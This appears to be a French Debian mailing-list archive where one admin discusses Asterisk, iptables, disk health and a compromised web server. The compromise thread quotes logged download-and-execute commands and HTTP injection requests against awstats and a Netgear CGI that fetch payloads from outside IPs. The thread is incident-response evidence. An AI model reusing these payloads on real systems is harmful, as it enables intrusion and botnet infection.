exten => 6002,1,Dial(SIP/6002)
...

Je tente maintenant de connecter ce serveur asterisk à mon trunk SIP.
J'ai donc configuré dans sip.conf le compte correspondant au trunk SIP :

[general]
context=public
allowoverlap=no
udpbindaddr=192.168.1.1:5060
tcpenable=no
tcpbindaddr=0.0.0.0
transport=udp
srvlookup=yes
language=fr
register => 
localnet=192.168.0.0/255.255.0.0
directmedia=update,nonat
nat=force_rport,comedia
qualify=yes
externrefresh=15
directmediapermit=192.168.0.0/255.255.0.0
externaddr=
externtlsport=5060


Asterisk est content puisqu'il m'indique :
rayleigh*CLI> sip show registry
Hostdnsmgr Username   Refresh
StateReg.Time
:5070   N  trunk-sip@sy   105 Registered
  Sat, 01 Jul 2023 11:05:42
1 SIP registrations.

Maintenant, je cherche à pouvoir appeler le monde extérieur et à être
appelé et je sèche. Les appels sont bien routés vers mon serveur
asterisk puisque dans les logs, lorsque j'essaie de m'appeler, je vois
ceci :

[Jul  1 11:00:47] NOTICE[8977][C-0001] chan_sip.c: Call from ''
(37.97.65.186:5070) to extension '+33x' rejected because
extension not found in context 'public'.

Or j'ai rajouté dans le fichier extensions.conf :
exten => ,1,Dial(SIP/6001)
soit à la suite de [User-standard], soit dans un contexte [oublic]. Rien
n'y fait.

J'ai aussi essayé d'appeler l'extérieur avec une règle du type exten =>
_0.,1,Dial(SIP/${EXTEN:1}), même motif, même punition mais avec un autre
message d'erreur :

[Jul  1 11:13:10] WARNING[9644][C-0002] chan_sip.c: Purely numeric
hostname (0x), and not a peer--rejecting!

La question est donc relativement simple. Comment faire une
configuration simpliste d'asterisk pour le connecter au monde extérieur
? Je me perds dans la documentation (officielle ou non).

Merci de vos lumières,

JKB



Re: iptables vs iptables-legacy

2023-06-28 Thread BERTRAND Joël
Michel Verdier a écrit :
> Et d'ailleurs pourquoi mixer les outils ?

Pourquoi ? Mais parce que fail2ban dans sa configuration par défaut
s'est mis à utiliser nftables alors qu'il est tout à fait possible
d'utiliser un firewall iptables (xtables) par ailleurs. J'ai d'ailleurs
modifié ces scripts pour remplacer iptables par iptables-legacy parce
qu'un temps, Debian ne fournissait pas un iptables capable de travailler
sur les nftables.

Je suis un peu flemmard sur les bords. Lorsque j'ai un serveur connecté
à plusieurs réseaux et des VPN avec un firewall de plusieurs centaines
de lignes qui est éprouvé, je ne m'amuse pas à le changer pour le fun et
la beauté du geste. Par ailleurs, la syntaxe iptables fonctionne
toujours pour les nftables (raison pour laquelle on se retrouve avec
iptables-legacy et iptables). Il n'y a donc aucune raison valable à ce
que les deux mécanismes cohabitent. À l'extrême limite, ce genre de
chose est une bidouille interne au noyau et cela devrait être
transparent du point de vue de l'utilisateur.

JB



Re: iptables vs iptables-legacy

2023-06-27 Thread BERTRAND Joël
NoSpam a écrit :
> Bonsoir
> 
> https://developers.redhat.com/blog/2020/08/18/iptables-the-two-variants-and-their-relationship-with-nftables#using_iptables_nft

Merci.

Mais ça ne répond pas trop à ma question sauf s'il faut comprendre
entre les lignes que les paquets passent d'abord par les xtables avant
de passer par les nftables.



iptables vs iptables-legacy

2023-06-27 Thread BERTRAND Joël
Bonsoir à tous,

J'ai toujours écrit mes firewalls à la main. Aujourd'hui, un script
charge au démarrage le contenu de /var/lib/iptables/active au travers de
iptables (nf_tables).

Or iptables-legacy est toujours disponible.

J'avoue avoir un peu de mal à comprendre le lien entre les deux filtres.

Root rayleigh:[~] > iptables-legacy -L
Chain INPUT (policy ACCEPT)
target prot opt source   destination

Chain FORWARD (policy ACCEPT)
target prot opt source   destination

Chain OUTPUT (policy ACCEPT)
target prot opt source   destination
Root rayleigh:[~] > Root rayleigh:[~] > iptables -L
# Warning: iptables-legacy tables present, use iptables-legacy to see them
Chain INPUT (policy DROP)
target prot opt source   destination
f2b-recidive  tcp  --  anywhere anywhere
ACCEPT all  --  anywhere anywhere
ACCEPT all  --  anywhere anywhere
ACCEPT tcp  --  anywhere anywhere tcp dpt:ssh
ACCEPT tcp  --  anywhere anywhere tcp dpt:smtp
...
Chain f2b-recidive (1 references)
target prot opt source   destination
REJECT all  --  subnet.crackbox.io   anywhere
reject-with icmp-port-unreachable
REJECT all  --  193.56.29.178anywhere
reject-with icmp-port-unreachable
REJECT all  --  147.78.103.120   anywhere
reject-with icmp-port-unreachable
RETURN all  --  anywhere anywhere
Root rayleigh:[~] >

D'après iptables-legacy, tout est ouvert. D'après iptables, tout est
fermé sauf ce qui est explicitement ouvert.

La question est simple. Si je change la règle par défaut
iptables-legacy -DINPUT DROP, plus rien ne fonctionne. Les deux systèmes
sont-ils en série ? Un paquet traverse-t-il d'abord un système de filtre
puis l'autre en séquence ? Je n'ai pas trouvé l'information (je dois
chercher au mauvais endroit)...

Bien cordialement,

JB



Re: Machine vérolée

2023-06-27 Thread BERTRAND Joël
BERTRAND Joël a écrit :
> BERTRAND Joël a écrit :
>> OK, je l'ai.
>>
>> 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
>> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
>> 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
>> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
>>
>> J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
>> toujours pas qui le lance, mais on progresse.
> 
>   Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP
> antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
> font fait percer. Mais pas de la même manière. Le premier avait des
> fichiers .php étranges dans sa racine : spip__.php et des choses comme
> response.php. Le second avait un spip_loader.php qui embarquait un binaire.
> 

Et j'aurais dû regarder de près les listes de diffusion de SPIP. Ça
couine très fort depuis quelques semaines sur le sujet. Comme quoi,
certains devraient plutôt s'attacher à la qualité du code qu'au côté
politique d'un projet...



Re: Machine vérolée

2023-06-27 Thread BERTRAND Joël
BERTRAND Joël a écrit :
> OK, je l'ai.
> 
> 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
> 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
> /dev/shm;wget -O - http://68.235.39.225/sepax|perl
> 
> J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
> toujours pas qui le lance, mais on progresse.

Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP
antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
font fait percer. Mais pas de la même manière. Le premier avait des
fichiers .php étranges dans sa racine : spip__.php et des choses comme
response.php. Le second avait un spip_loader.php qui embarquait un binaire.



Re: Machine vérolée

2023-06-27 Thread BERTRAND Joël
OK, je l'ai.

2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
/dev/shm;wget -O - http://68.235.39.225/sepax|perl
2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
/dev/shm;wget -O - http://68.235.39.225/sepax|perl

J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
toujours pas qui le lance, mais on progresse.



Re: Machine vérolée

2023-06-26 Thread BERTRAND Joël
Michel Verdier a écrit :
> Le 25 juin 2023 BERTRAND Joël a écrit :
> 
>>  Petite remarque : j'ai modifié allow_url_fopen de on à off dans le
>> fichier de configuration de php 8.2 (je ne vois pas pourquoi c'est 'on'
>> par défaut). /tmp est maintenant en noexec.
> 
> Attention de mémoire il y a plusieurs php.ini utilisés selon le mode
> d'appel

Merci, je sais. Et je vérifie toujours avec un php_info().

JB



Re: Machine vérolée

2023-06-26 Thread BERTRAND Joël
BERTRAND Joël a écrit :
> #!/bin/bash
> 
> if [ $1 == "/usr/bin/rlog" ]; then exit 0; fi
> if [ $1 == "/usr/bin/rcsdiff" ]; then exit 0; fi
> logger -i "shell $*"
> for i in $(pstree -p); do logger -i $i; done
> 
> exec $*

Ce script ne fonctionne pas correctement. J'ai essayé ceci, mais le
résultat est identique.

#!/bin/bash
logger -i "shell $@"
exec "$@"

Par mail, je reçois par exemple
/bin/sh: ligne 8: /var/lib/munin/if [ -x /usr/bin/munin-cron ]; then
/usr/bin/munin-cron; fi > /dev/null 2>&1: Aucun fichier ou dossier de ce
type

Je suppose qu'il y un truc à faire avec les redirections, mais je sèche.

Bien cordialement,

JB



Re: Machine vérolée

2023-06-26 Thread BERTRAND Joël
Erwann Le Bras a écrit :
> bonjour

Bonjour,

> plusieurs pistes :
> 
> - un truc qui se lance au démarrage de la machine et reste bien planqué
> qui lance la saleté de temps en temps) ?
> Je pense par exemple, s'il a exploité une faille de Apache à la base, a
> pu modifié la config pour se lancer? Ou au boot de la machine
> (systemctl) si les privilèges acquis permettaient d'avoir les droits "root"

Il n'y a pas de systemctl, c'est un serveur Devuan.

> -SPIP est basé sur PHP ; je ne pense pas que le système SPIP lui-même
> serait touché (pas assez populaire) , mais les lancement de PHP?
> 
> -Même remarque avec Perl, puisqu'il tourne avec.
> 
> - Tu as fait un script /bin/sh, c'est très bien... à condition qu'il
> passe bien par sh et pas directement par un autre shell. dans ce cas,
> renommer tous les shelles présents  en .sav, les remplacer par des liens
> vers ton /bin/sh, et enfin lancer le script légitime avec le  shell
> d'origine.sav.

Il passe par sh (j'ai le script zombie qui me l'indique).

JB



Re: Machine vérolée

2023-06-26 Thread BERTRAND Joël
NoSpam a écrit :
> Bonjour
> 
> rkhunter et chkrootkit ne détectent rien ?

chkrootkit ne couine pas (il tourne depuis des années dans un cron).
rkhunter que j'ai lancé hier non plus.



Re: Machine vérolée

2023-06-26 Thread BERTRAND Joël
Sébastien Dinot a écrit :
> BERTRAND Joël a écrit :
>> Porte d'entrée trouvée :
> 
> Merci pour ce retour, toujours intéressant à avoir.

Porte d'entrée trouvée, mais il reste des scories. Je suis en train de
logguer ce que fait sh pour savoir quel est le processus qui me
réinstalle le vers régulièrement. Le truc est bien planqué et est revenu
à la charge plusieurs fois ce matin. Bon, il ne peut rien faire puisque
les ports sur lesquels il veut se connecter sont fermés sur le firewall,
mais c'est pénible. Ce n'est visiblement pas lancé par un cron (pas de
régularité).

J'utilise un /bin/sh qui fait cela :

#!/bin/bash

if [ $1 == "/usr/bin/rlog" ]; then exit 0; fi
if [ $1 == "/usr/bin/rcsdiff" ]; then exit 0; fi
logger -i "shell $*"
for i in $(pstree -p); do logger -i $i; done

exec $*

Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord
un script sh qui daemonise un exécutable perl. Je cherche à savoir qui
lance cette saleté (sans doute www-data) mais surtout quel est
l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond
d'une arborescence de www-data, mais rien ne me saute aux yeux.

JB



Re: Machine vérolée

2023-06-25 Thread BERTRAND Joël
Porte d'entrée trouvée :

GET
/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20131%2e220%2e92%2e80%2fcacat%3bchmod%20%2bx%20cacat%3b%2e%2fcacat%20216%2e102%2e212%2e115;echo%20YYY;echo|
 HTTP/1.1\n"

"GET
/setup.cgi?next_file=netgear.cfg=syscmd=rm+-rf+/tmp/*;wget+http://27.45.37.235:51873/Mozi.m+-O+/tmp/netgear;sh+netgear=/=1
HTTP/1.0"

La seconde requête échoue (firewall sortant et script inexistant). Ce
que je ne saisis pas, c'est pourquoi la première est passée, awstats
étant protégé par .htpasswd.

JB



Re: Machine vérolée

2023-06-25 Thread BERTRAND Joël
Quelques nouvelles.

Le bot en question est une version moderne d'un vieux truc (on en
trouve des traces depuis 2003) :

https://www.politoinc.com/post/2015/04/01/analysis-of-a-romanian-botnet
https://forum.directadmin.com/threads/cannot-restart-apache.17795/
https://forums.gentoo.org/viewtopic-t-316934-postdays-0-postorder-asc-start-0.html

Je n'ai rien trouvé de bizarre en examinant les disques. Je me demande
si ce vers ne vient pas par une injection externe, la machine ayant été
tagguée quelque part comme vulnérable. Le bot ne se lance pas à une
heure précise comme dans le cas d'un cron (apache2 utilise mod-secure).

Petite remarque : j'ai modifié allow_url_fopen de on à off dans le
fichier de configuration de php 8.2 (je ne vois pas pourquoi c'est 'on'
par défaut). /tmp est maintenant en noexec.

À suivre.

JB



Re: Machine vérolée

2023-06-23 Thread BERTRAND Joël
Sébastien Dinot a écrit :
> Le 2023-06-23 10:08, BERTRAND Joël a écrit :
>> Ma question est donc assez simple ;-) Comment trouver par quoi sont
>> lancés ces deux processus ?
> 
> En pareille circonstance, il n'y a qu'une seule solution : analyse du
> disque depuis un système live sur clé USB.
> 
> En effet, si un rootkit a été installé sur cette machine, ce qui semble
> être le cas, tu ne peux l'observer qu'à travers les lunettes que te
> donne le rootkit. :)

Très bien. Et quelle est la marche à suivre. Je peux démarrer sur un
liveCD ou autre chose, mais je ne suis pas au fait de ce qu'il faut
faire après cela.

Bien cordialement,

JB



Machine vérolée

2023-06-23 Thread BERTRAND Joël
Bonjour à tous,

Je reviens au sujet de ma machine vérolée. J'ai un peu avancé sur le
sujet. J'ai trouvé la porte d'entrée et corrigé.

Le processus hwm est un mineur de bitcoin. Celui-ci a été éradiqué et
ne revient plus m'embêter.

À intervalle régulier (ce matin à 08h50 par exemple), j'ai deux
processus qui déboulent :

30269 www-data  20   0   10816   7088   3336 S   0,0   0,0   0:00.65
/usr/local/apache/bin/httpd -DSSL
30275 www-data  20   0   10820   6660   2936 S   0,0   0,0   0:00.12
/usr/local/apache/bin/httpd -DSSL

Petit problème :
# ls -l /usr/local/apache/bin/httpd
ls: impossible d'accéder à '/usr/local/apache/bin/httpd': Aucun fichier
ou dossier de ce type

Un strace m'indique que le premier est un client, le second un serveur.
Aucune idée de ce qu'ils font réellement, ça ne passe pas le firewall :

connect(3, {sa_family=AF_INET, sin_port=htons(80),
sin_addr=inet_addr("18.216.210.232")}, 16) = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(48478),
sin_addr=inet_addr("192.168.15.18")}, [128 => 16]) = 0
write(3, "NICK xxx1851\n", 13)  = 13
getsockname(3, {sa_family=AF_INET, sin_port=htons(48478),
sin_addr=inet_addr("192.168.15.18")}, [128 => 16]) = 0
write(3, "USER xxx2113 192.168.15.18 18.21"..., 51) = 51
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=2, tv_nsec=0},
0x7fff7e181650) = 0
pselect6(8, [3], NULL, NULL, {tv_sec=0, tv_nsec=6}, NULL) = 1
(in [3], left {tv_sec=0, tv_nsec=55615})
read(3, "\r\n\r\nDisconnected\r\n", 4096) = 18
pselect6(8, [3], NULL, NULL, {tv_sec=0, tv_nsec=6}, NULL) = 1
(in [3], left {tv_sec=0, tv_nsec=56008})
read(3, "", 4096)   = 0
close(3)= 0
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)   = 0
ioctl(3, TCGETS, 0x7fff7e181460)= -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR)   = -1 ESPIPE (Repérage non permis)
fcntl(3, F_SETFD, FD_CLOEXEC)   = 0
ioctl(3, TCGETS, 0x7fff7e181460)= -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR)   = -1 ESPIPE (Repérage non permis)
connect(3, {sa_family=AF_INET, sin_port=htons(80),
sin_addr=inet_addr("18.216.210.232")}, 16) = -1 ETIMEDOUT (Connexion
terminée par expiration du délai d'attente)
close(3)= 0
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)   = 0
ioctl(3, TCGETS, 0x7fff7e181460)= -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR)   = -1 ESPIPE (Repérage non permis)
fcntl(3, F_SETFD, FD_CLOEXEC)   = 0
ioctl(3, TCGETS, 0x7fff7e181460)= -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR)   = -1 ESPIPE (Repérage non permis)

Vu ce que je trouve dans le répertoire cwd de l'un des processus
(/tmp/.wwwodsfidsfe) :

# ls -alR
.:
total 8084
drwxrwxrwx  3 www-data www-data4096 23 juin  08:50 .
drwxrwxrwt 10 root root   36864 23 juin  09:56 ..
drwxr-xr-x  2 www-data www-data4096 23 juin  09:56 fs
-rw-rw-rw-  1 www-data www-data 8218683 23 juin  08:49 gg.tgz

./fs:
total 14928
drwxr-xr-x 2 www-data www-data4096 23 juin  09:56 .
drwxrwxrwx 3 www-data www-data4096 23 juin  08:50 ..
-rw-r--r-- 1 www-data www-data   24565  4 août   2022 1.html
-rw-r--r-- 1 www-data www-data 3014144 23 juin  08:50 abe
-rw-rw-rw- 1 www-data www-data  26 23 juin  09:56 bb
-rw-r--r-- 1 www-data www-data  34  3 août   2022 d
-rw-r--r-- 1 www-data www-data   26098 22 juin  09:10 da.html
-rw-rw-rw- 1 www-data www-data   33699 23 juin  09:55 di.html
-rw-r--r-- 1 www-data www-data 9235803 17 févr.  2022 git
-rw-rw-rw- 1 www-data www-data  29 23 juin  09:35 has
-rw-r--r-- 1 www-data www-data   43777  3 août   2022 me
-rw-r--r-- 1 www-data www-data  246233 14 juil.  2022 ok
-rw-r--r-- 1 www-data www-data 2598092  3 août   2022 ola

le truc en question doit être un genre de serveur de mails qui envoie du
pishing à la terre entière. Ces deux processus sont lancés par un script
sh qui reste dans l'état de zombie très longtemps. Le parent est init
(tant qu'à faire). Je n'arrive pas à trouver par quoi ce truc est lancé
périodiquement. Sans doute un processus avec les droits www-data.

Sur cette machine, les seules choses tournant avec les droits www-data
sont :
- un serveur apache2 (debian/testing)
- php 8.2 (et 7.4 pour un blog b2 evolution)
- trois sites SPIP (4.1.10 à jour, y compris les plugins)

Je n'ai rien trouvé dans le cron, rien dans les tâches planifiées des
sites en question, rien dans les logs. Je ne sais plus où chercher.

Si je tue ces deux processus, au bout d'un certain temps, ils 
reviennent.

Ma question est donc assez simple ;-) Comment trouver par quoi sont
lancés ces deux processus ?

Bien 

Re: puis-je faire confiance a ce disque ?

2023-06-16 Thread BERTRAND Joël
hamster a écrit :
> Le 16/06/2023 à 11:21, BERTRAND Joël a écrit :
>> hamster a écrit :
>>> Le 16/06/2023 à 08:34, BERTRAND Joël a écrit :
>>>>  Bonjour,
>>>>
>>>>  J'en pense que c'est un Seagate. J'ai eu des tas de disques
>>>> comme ça
>>>> qui montraient des valeurs aberrantes et j'ai creusé. Il s'avère que le
>>>> problème est un firmware buggué et que Seagate n'en a rien à faire.
>>>> Tant
>>>> que Current_Pending_Sector reste à 0 de même que Reallocated_Sector_Ct,
>>>> je ne m'affolerais pas. Sauf si, naturellement, le noyau râle.
>>>
>>> Voila une inoformation interessante. Comment tu fais pour savoir si le
>>> noyau rale ?
>> 
>> Regarder par exemple ce qu'il dit dans /var/log/syslog ou dans dmesg.
>> Normalement, ces erreurs sont aussi logguées dans le disque dur (mais là
>> encore, attention aux firmwares buggués de Seagate).
> 
> Heu… Ca je m'en etais douté. Mais il y a beaucoup de choses dans syslog
> et dmesg, pour trouver l'aiguille dans la botte de foin, il faut un
> minimum avoir idée d'a quoi ressemble l'aiguille.
> 
> Quels sont les indices que tu cherche dans syslog et dmesg ?

Des erreurs de type ataXXX. Désolé, je n'ai pas la syntaxe en tête.
Vous ne pouvez pas les rater, ça fait des gros pâtés.



Re: puis-je faire confiance a ce disque ?

2023-06-16 Thread BERTRAND Joël
hamster a écrit :
> Le 16/06/2023 à 08:34, BERTRAND Joël a écrit :
>> Bonjour,
>>
>> J'en pense que c'est un Seagate. J'ai eu des tas de disques comme ça
>> qui montraient des valeurs aberrantes et j'ai creusé. Il s'avère que le
>> problème est un firmware buggué et que Seagate n'en a rien à faire. Tant
>> que Current_Pending_Sector reste à 0 de même que Reallocated_Sector_Ct,
>> je ne m'affolerais pas. Sauf si, naturellement, le noyau râle.
> 
> Voila une inoformation interessante. Comment tu fais pour savoir si le
> noyau rale ?

Regarder par exemple ce qu'il dit dans /var/log/syslog ou dans dmesg.
Normalement, ces erreurs sont aussi logguées dans le disque dur (mais là
encore, attention aux firmwares buggués de Seagate).

Attention toutefois, il y a eu un noyau Linux buggué jusqu'à la moelle
qui provoquait des erreurs disques dans certaines configurations (raid
logiciel). Je ne me souviens plus de sa version, j'ai eu ça sur un
serveur de test.



Re: puis-je faire confiance a ce disque ?

2023-06-16 Thread BERTRAND Joël
hamster a écrit :
> j'ai un disque dur pour lequel badblocks s'est terminé sans erreurs,
> l'auto-test de smart s'est aussi terminé sans erreurs, pourtant dans le
> rapport de smart je vois 3 chiffres qui m'inquietent :
> Raw_Read_Error_Rate 70428466
> Seek_Error_Rate 371778543
> 149  ---  Number of Reported Uncorrectable Errors
> mais j'ai un peu de mal a bien causer le jargon smart
> 
> rapport smart complet ici :
> https://suna.fdn.fr/liens/rapport-smart.txt
> 
> qu'en pensez-vous ? est-ce que je peux continuer a faire confiance a ce
> disque ou bien est-ce que je prévois d'avoir a le changer bientot ?

Bonjour,

J'en pense que c'est un Seagate. J'ai eu des tas de disques comme ça
qui montraient des valeurs aberrantes et j'ai creusé. Il s'avère que le
problème est un firmware buggué et que Seagate n'en a rien à faire. Tant
que Current_Pending_Sector reste à 0 de même que Reallocated_Sector_Ct,
je ne m'affolerais pas. Sauf si, naturellement, le noyau râle.

Bien cordialement,

JKB

PS: je n'utilise plus de Seagate que contraint et forcé. Trop de
dysfonctionnements même dans les gammes SAS/SCA/SCSI.



[HS] Trunk SIP

2023-06-01 Thread BERTRAND Joël
Bonjour à tous,

Je poste ici en sachant parfaitement que je suis hors sujet, mais je
pense que certains ont été confrontés au même problème. Merci de
répondre directement et non sur la liste pour ne pas polluer.

Ancien client Nerim, je me retrouve malheureusement chez Keyyo. J'écris
malheureusement parce que je n'ai plus un accès qui fonctionne de
manière nominale. J'ai des pertes de paquets partout (de 10 à 20% sur
certains liens) et ça fait des mois que cela dure. Je suis en train de
changer de crèmerie pour les accès fixes mais j'ai un problème avec la
téléphonie.

Actuellement, j'ai quatre trunks IP à un seul canal (donc quatre
numéros) qui arrivent dans deux équipements CISCO SPA 112 dont les
sorties sont connectées à un joncteur de ligne 4/16. Je n'ai pas
l'impression que les SPA 112 soient capables de gérer des trunks à deux
canaux.

Il s'agit de l'ancienne offre TPE VoIP de Nerim qui fonctionnait bien
et qui était en vrai illimité. Connaissez-vous des opérateurs corrects
capables de faire la même chose ? OVH pour ne citer que lui propose de
l'illimité limité (99 numéros, pas plus de 60 minutes par appel), les
autres opérateurs sont pour moi inconnus...

Merci,

JKB



Re: Exécutable étrange

2023-05-31 Thread BERTRAND Joël
Michel Verdier a écrit :
> Le 31 mai 2023 BERTRAND Joël a écrit :
> 
>> C'est donc un blog (b2evolution) qui traîne-là qui est percé. Quelqu'un
>> sait-il d'ailleurs sur quoi migrer un blog b2evolution ? b2evolution
>> n'est plus supporté. J'ai bien vu ceci que je vais peut-être tester :
>>
>> https://github.com/keithbowes/b2evolution
> 
> Visiblement c'est un fork d'une version plus ancienne. La version 7.2.5
> sur l'upstream est plus récente. Il y a notamment une injection de code
> jusqu'à la version 7.2.2.

Mais celle-ci supporte php8. L'un dans l'autre, mon coeur balance.



Re: Exécutable étrange

2023-05-31 Thread BERTRAND Joël
Basile Starynkevitch a écrit :
> 
> On 5/31/23 09:55, BERTRAND Joël wrote:
>> Bonjour à tous,
>>
>> Hier soir, je me suis aperçu qu'un serveur ramait énormément. En
>> regardant de près, j'ai trouvé un exécutable étrange :
>>
>> /dev/shm/hwm
>>
>> avec les droits de www-data:www-data, un fichier de configuration et un
>> autre programme (hwmon). /dev/shm/hwm utilisait 100% de chaque CPU. Je
>> n'ai pas noté de trafic réseau anormal.
>>
>> J'ai viré les trois fichiers en question et j'ai inspecté en
>> profondeur
>> le système, je n'ai rien trouvé de plus. Je pense savoir comment il a
>> été déposé ici (mais aucune trace dans les logs).
> 
> 
> Si un processus actif de pid 1234 est suspect (par exemple résultat de
> de ps ou top) utiliser /usr/bin/strace -p 1234 pour comprendre les
> appels systèmes qu'il fait. Et aussi /usr/bin/ls -l /proc/1234/
> (conserver la sortie ...)
> 
> Je m'inquieterais, et j'aurais tendance (pour une prochaine fois) non
> pas à supprimer les fichiers, mais à les copier ou renommer ailleurs
> (par exemple dans /var/tmp/ ...),  puis à les examiner au minimum avec
> les commandes suivantes

Mais je me suis inquiété. J'ai passé la nuit sur la machine en
question. Le programme hwm était un exécutable statique. Je n'ai pas
pensé à le passer dans strace. Le fichier de conf à côté
(/dev/shm/hwm.conf) m'indiquait même clairement l'URL d'injection
(dns.xxx.yyy).
C'est donc un blog (b2evolution) qui traîne-là qui est percé. Quelqu'un
sait-il d'ailleurs sur quoi migrer un blog b2evolution ? b2evolution
n'est plus supporté. J'ai bien vu ceci que je vais peut-être tester :

https://github.com/keithbowes/b2evolution

> /bin/ls -l /var/tmp/hwm /var/tmp/hwmon
> 
> /usr/bin/stat /var/tmp/hwm /var/tmp/hwmon
> 
> /usr/bin/file /var/tmp/hwm /var/tmp/hwmon
> 
> /usr/bin/ldd /var/tmp/hwm /var/tmp/hwmon
> 
>> Quelqu'un a-t-il déjà vu un truc pareil ? Je n'ai rien trouvé en
>> googlisant.
> 
> 
> Ma parano me ferait penser (sur un serveur publiquement accessible sur
> Internet) à un virus informatique. Ceux-ci existent sous Linux.

Je sais. Et je suis aussi paranoïaque. La machine semble propre.

Bien cordialement,

JB



Exécutable étrange

2023-05-31 Thread BERTRAND Joël
Bonjour à tous,

Hier soir, je me suis aperçu qu'un serveur ramait énormément. En
regardant de près, j'ai trouvé un exécutable étrange :

/dev/shm/hwm

avec les droits de www-data:www-data, un fichier de configuration et un
autre programme (hwmon). /dev/shm/hwm utilisait 100% de chaque CPU. Je
n'ai pas noté de trafic réseau anormal.

J'ai viré les trois fichiers en question et j'ai inspecté en profondeur
le système, je n'ai rien trouvé de plus. Je pense savoir comment il a
été déposé ici (mais aucune trace dans les logs).

Quelqu'un a-t-il déjà vu un truc pareil ? Je n'ai rien trouvé en
googlisant.

Bien cordialement,

JB





[HS total] Recherche anciens clients Nerim devenus clients Keyyo

2023-05-01 Thread BERTRAND Joël
Bonjour à tous,

Désolé pour le HS, tout est dans le titre. Si vous êtes dans ce cas-là,
pouvez-vous me contacter par message privé ?

Merci,

JKB



Cura et erreur de chargement de plugins fournis avec le logiciel

2023-04-20 Thread BERTRAND Joël
Bonjour à tous,

Je suis en train d'essayer de me faire la main avec un e imprimante 3D
supportée par Cura (motif : imprimer des feeders pour ma machine de
pick'n place).

J'utilise la version packagée (4.13.0-1).

Lorsque je la démarre, j'ai des erreurs de plugins :
- TrimeshReader ;
- AMFReader.

Visiblement, il s'agit d'un problème avec une extension python
(trimesh). J'ai donc installé pour l'utilisateur en question ce qui
allait bien :

⚠️  Note: f2py was already on your PATH at /usr/bin/f2py
⚠️  Note: f2py3 was already on your PATH at /usr/bin/f2py3
⚠️  Note: f2py3.11 was already on your PATH at /usr/bin/f2py3.11
  installed package trimesh 3.21.5, installed using Python 3.11.2
  These apps are now globally available
- f2py
- f2py3
- f2py3.11
⚠️  Note: '/home/bertrand/.local/bin' is not on your PATH environment
variable. These apps will not be globally accessible until your PATH is
updated. Run `pipx ensurepath` to automatically add it, or manually
modify
your PATH in your shell's config file (i.e. ~/.bashrc).
done! ✨  ✨
hilbert:[~] >

Python 3.11 est la version par défaut. Or lorsque je lance :

hilbert:[~] > PATH=/home/bertrand/.local/bin:$PATH cura

j'obtiens toujours les mêmes erreurs. Comment corriger le problème ?
J'ai bien vu un rapport de bug, mais sans solution.

Bien cordialement,

JKB



Re: HS: pourquoi les disques SSD sont peu utilisé dans les serveurs

2023-04-12 Thread BERTRAND Joël
didier gaumet a écrit :
> Le mercredi 12 avril 2023 à 11:15 +0200, Basile Starynkevitch a écrit :
>> [...]
>> le SSD faiblit graduellement (et la rumeur dit qu'il arrive de tomber
>> en panne en totalité).
>>
>> Bizarrement et contrairement à mon intuition, les SSD me semblent
>> tomber en panne plus rapidement que les disques rotatifs.
> 
> Je ne peux parler que de mon cas (usage privé, pas professionnel), qui
> n'est pas représentatif, bien que j'ai lu des retours similaires sur le
> net:
> 
> - effectivement j'ai eu une panne de SSD qui a été progressive et dont
> j'ai négligé les signes avant-coureurs, mais qui a fini par être totale
> (disque totalement illisible, je me suis servi de mes sauvegardes).
> La durée de vie de ce SSD a été bien inférieure à celle de mes HDD
> précédents

Idem ici. Mais généralement, les SSD claquent d'un seul coup, sans
avoir envoyé de signes avant coureurs (et pour de l'embarqué, j'utilise
ce qui va bien pour éviter de les user trop, allant jusqu'au maximum de
partitions en lecture seule).

Sur l'ensemble des disques durs classiques utilisés depuis 1990
(plusieurs milliers), je n'ai eu que quatre disques (Seagate badgés Sun,
deux SCSI/SCA et deux SATA) dont l'électronique s'est mise à
dysfonctionner les rendant inutilisables. Le taux de panne des SSD est
largement supérieur.



Re: HS: pourquoi les disques SSD sont peu utilisé dans les serveurs

2023-04-12 Thread BERTRAND Joël
Firenze Réat a écrit :
> Bonjour à tous,
> 
> Les disques SSD sont peu utilisés sur les serveurs, car d'une part leur
> prix grimpe rapidement, plus que pour les disques HDD, si on cherche
> dans les grandes capacités.
> 
> D'autre part, leur fonctionnement électronique ne permet pas un stockage
> fiable à moyen terme. Contrairement aux disques HDD, qui sont mécaniques
> et magnétiques.
> 
> Même si les disques SSD se perfectionnent, on préfère généralement
> installer le système d'exploitation sur un disque SSD et stocker les
> données sur un ou plusieurs disques HDD, selon ce qu'on décide en
> matière de partitionnement.

Le SSD, c'est du stockage à court terme (et d'autant plus à court terme
que la cellule contient de bits). On l'utilisera donc pour l'OS (et
encore) ou les caches de disques plus lents comme des grappes  de raid
